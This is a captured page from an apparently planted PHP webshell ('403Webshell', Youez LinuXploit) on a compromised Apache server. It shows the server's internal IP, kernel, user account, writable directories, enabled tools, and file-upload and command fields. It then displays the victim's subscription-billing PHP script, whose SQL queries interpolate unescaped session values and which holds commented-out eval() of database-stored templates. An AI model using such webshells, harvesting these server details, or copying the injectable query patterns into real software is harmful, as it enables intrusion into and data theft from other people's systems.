403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/vx/usa/functions/subscribe.php
<?
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/xinc.php");
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/user.php");
include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/func.php');
if(empty($user) || $guest)
{
	return false;
	exit;
}
else
{
    $validUser = validUser($user, $userDB, $db);
    if($validUser)
    {
        $user = $validUser['user'];
        $email = $validUser['email'];
    }

	$data = array();
	$errors = array();

	$subscriptions = array(2, 3);

	foreach($subscriptions as $subscriptionID)
	{
		$validSubscription = $db->query("
											SELECT
													lcs.*
											FROM $userDB.lc_clients_subscriptions AS lcs
											WHERE
													lcs.reseller_id = '$user'
												AND
													lcs.subscription_id = $subscriptionID
										");
		if(count($validSubscription) == 0)
		{
			if($subscriptionID==2) {
				$_SESSION['upsell_tracking_version'] = (empty($_SESSION['upsell_tracking_version'])) ? 'site order' : $_SESSION['upsell_tracking_version'];
				$foo = file_get_contents('https://surfcrm.com/lcapi/TrackUpsellButton.php?site_code='.$siteCode.'&client_id='.$user.'&response=Yes&upsell_version='.urlencode($_SESSION['upsell_tracking_version']).'&upsell_version_description='.urlencode($_SESSION['upsell_tracking_version_description']));
			}
			$amount = 34.95;
			$trial = 30;
			$terms = 4199999999;
			$termLength = 30;
			$db->query("
							INSERT INTO $userDB.lc_clients_subscriptions
							SET
								reseller_id = '$user',
								subscription_id = $subscriptionID,
								amount = '$amount',
								order_date = CURDATE(),
								order_datetime = NOW(),
								next_bill_date='".date('Y-m-d',strtotime('+30 day'))."',
								bill_time_of_day = 'morning',
								terms = '$terms',
								term_length = '$termLength',
								source = '".clean($_SESSION['upsell_tracking_version'])."'
						");
			$db->query("INSERT INTO surfcrm.notes
						(
							site_code
							,client_type
							,client_id
							,`date`
							,type
							,note
							,username
							,first_name
							,last_name
						) VALUES (
							'".clean($siteCode)."'
							,'clients'
							,'".clean($user)."'
							,NOW()
							,'upsell'
							,'The client signed themselves up for the upsell from here: ".clean($_SESSION['upsell_tracking_version'])."'
							,'client'
							,'the'
							,'client'
						)");
			track_member_action('Upsold Themselves',$_SESSION['upsell_tracking_version']);

			$_SESSION['subscriptions'][$subscriptionID] = $subscriptionID;
		}
	}
	
	$db->query("UPDATE $userDB.lc_clients_subscriptions
				SET amount='34.95'
				WHERE subscription_id=2
				AND reseller_id='".clean($user)."'");
	$db->query("UPDATE $userDB.lc_clients_subscriptions
				SET amount='0'
				WHERE subscription_id=3
				AND reseller_id='".clean($user)."'");
	
	$db->query("
					UPDATE allocator.leads
					SET
						marketer = 'Update Script',
						disposition = 'Already Signed Up',
						dispositiondate = NOW()
					WHERE
							leaddb = '$siteCode'
						AND
							leadid = '$user'
						AND
							leadtype = 'sales'
						AND disposition<>'SALE'
				");
	/*
	$userPassword = $db->query("
									SELECT
											password
									FROM $userDB.lc_reseller
									WHERE
											id = '$user'
								");
	$subscriptionEmail = $db->query("
										SELECT
												*
										FROM $userDB.lc_emails
										WHERE
											type = 'Confirmation Subscription Id 3'

										ORDER BY type ASC
										LIMIT 1
								");
	$userData = userData($user, $userDB, $db);
	$userData['password'] = $userPassword[0]['password'];
	$user = (object)$userData;


	$subMessage = $subscriptionEmail[0]['message'];
	$subMessage = str_replace("\n",' '."\n",$subMessage);
	
	ob_start();
	$subMessage = str_replace('<'.'?php','<'.'?',$subMessage);
	eval('?'.'>'.trim($subMessage).'<'.'?');
	$subMessage = ob_get_contents();
	ob_end_clean();

	$headers .= 'From: <'.$subscriptionEmail[0]['fromemail'].'>' . "\r\n";
	$headers .= 'Cc: '.$subscriptionEmail[0]['bccemail'] . "\r\n";
	
	if(mail($userData['email'], $subscriptionEmail[0]['subject'], $subMessage, $headers))
	{
	*/

	//}
	$response = file_get_contents('https://surfcrm.com/lcapi/SendEmail.php?site='.urlencode($userDB).'&user_id='.urlencode($user).'&email_type='.urlencode('Confirmation Subscription Id 3'));

	$data['result'] = "success";
	echo json_encode($data);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit